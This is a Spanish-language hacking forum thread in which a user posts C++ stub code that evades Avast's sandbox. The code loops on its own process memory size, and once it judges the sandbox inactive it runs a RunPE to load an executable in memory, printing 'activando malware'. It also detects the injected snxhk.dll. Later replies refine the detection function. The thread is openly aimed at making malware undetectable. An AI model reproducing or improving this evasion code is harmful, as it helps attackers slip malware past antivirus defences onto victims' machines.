Bueno viendo el mensaje quie publico joselin en este link http://www.indetectables.net/viewtopic. ... 39#p477583
vi que es una forma de poder saltar el sandbox, el trunco es muy sencillo consiste en escaner el proceso actual de nuestro stub o archivo que ejecutar el runpe y comprobar que no ese dentro del sandbox y como sabemos eso? bueno teoricamente avast al escanear los archivos en el sanbox reserva memoria dentro del proceso actual lo cual si el proceso de trabajo comunmente pesa 170000 suele llegar hasta los 250000 o 30000 por tanto tan facil hacer una funcion que nos de el tamaño del proceso actual y meterlo en bucle y con un if estar chekeando en este caso si es menor a 1850000, si lo es, ejecuta el runpe sino se matiene a la espera hasta que el sanbox te de luz verde.

Bueno no nada del otro mundo seguro muchos tienes trucos o formas mas finas de saltarse el sandbox pero para los nuevos como yo es facil y entedible, ojo no se olviden que su archivo no debe detectar mediante firmas o sea deber ser indetectable ante un escaneo simple ya que este truco solo sive para el sandbox.
unsigned long obtentenerTamanoProceso(){
  PROCESS_MEMORY_COUNTERS pmc;

  GetProcessMemoryInfo(GetCurrentProcess(),&pmc,sizeof(pmc));
  return pmc.WorkingSetSize;
}


int main()
{

   wchar_t  szFilePath[256];
   GetModuleFileNameW( NULL,LPWSTR(szFilePath), 256);//ruta del archivo actual
   string Buffer=ReadFileWs("C:\\bcb6kg.EXE");//archivo a leer


    unsigned long var;
    while(true){//inicia bucle hata que se desactive el sandbox
        if((var=obtentenerTamanoProceso())<=1850000){//obtiene el tamaño del proceso actual y comprueba que sea menor a 1850000
          cout<<"activando malware "<<var<<endl;
          callRunPE(&Buffer[0],szFilePath);//ejecutando en memoria
          break;
        }
        else{//todavia esta dentro del sandbox y no puede ejecutar el runpe
            cout<<"Esta dentro del sandbox "<<var<<endl;
        }
        Sleep(1000);//el sleep es para no saturar el sistema

    }

    cin.get();
    return 0;
}
Saludos...
Skype:crack8111
Les dejo tambien esta funcion ultra ripeada en vb6 pero ahora en c++ para comprobar si esta injectada la dll que activa el sandbox
si estamos dentro del sandbox manda true si no hace lo contrario
bool isSandboxActive(){
   HMODULE dllInjectada=NULL;
   dllInjectada=GetModuleHandle((char*)"snxhk.dll");

   if(dllInjectada==NULL) return false;
   else return true;
}
Skype:crack8111
crack81 escribió:Les dejo tambien esta funcion ultra ripeada en vb6 pero ahora en c++ para comprobar si esta injectada la dll que activa el sandbox
si estamos dentro del sandbox manda true si no hace lo contrario
bool isSandboxActive(){
   HMODULE dllInjectada=NULL;
   dllInjectada=GetModuleHandle((char*)"snxhk.dll");

   if(dllInjectada==NULL) return false;
   else return true;
}
Podrias haberlo hecho con bucle igual

Buen code
crack81 escribió:Les dejo tambien esta funcion ultra ripeada en vb6 pero ahora en c++ para comprobar si esta injectada la dll que activa el sandbox
si estamos dentro del sandbox manda true si no hace lo contrario
bool isSandboxActive(){
   HMODULE dllInjectada=NULL;
   dllInjectada=GetModuleHandle((char*)"snxhk.dll");

   if(dllInjectada==NULL) return false;
   else return true;
}
return (dllInjectada==NULL);
@Blau es mejor con != return (dllInjectada!=NULL);

@Crack81
Para que la conversion (char*)?

Puedes hacerlo sin char *.

O así:
bool isSandboxActive(){
return GetModuleHandle("snxhk.dll");
}
Saludos
Imagen
El de Blau estaría mal porque te retornaría true si es modulo no esta cargado. por eso debe intercambiar con != o solo con ! en el retorno.

Saludos
Imagen
Pink escribió:El de Blau estaría mal porque te retornaría true si es modulo no esta cargado. por eso debe intercambiar con != o solo con ! en el retorno.

Saludos
Cierto, qué malo es escribir recién levantado
Responder

Volver a “Fuentes”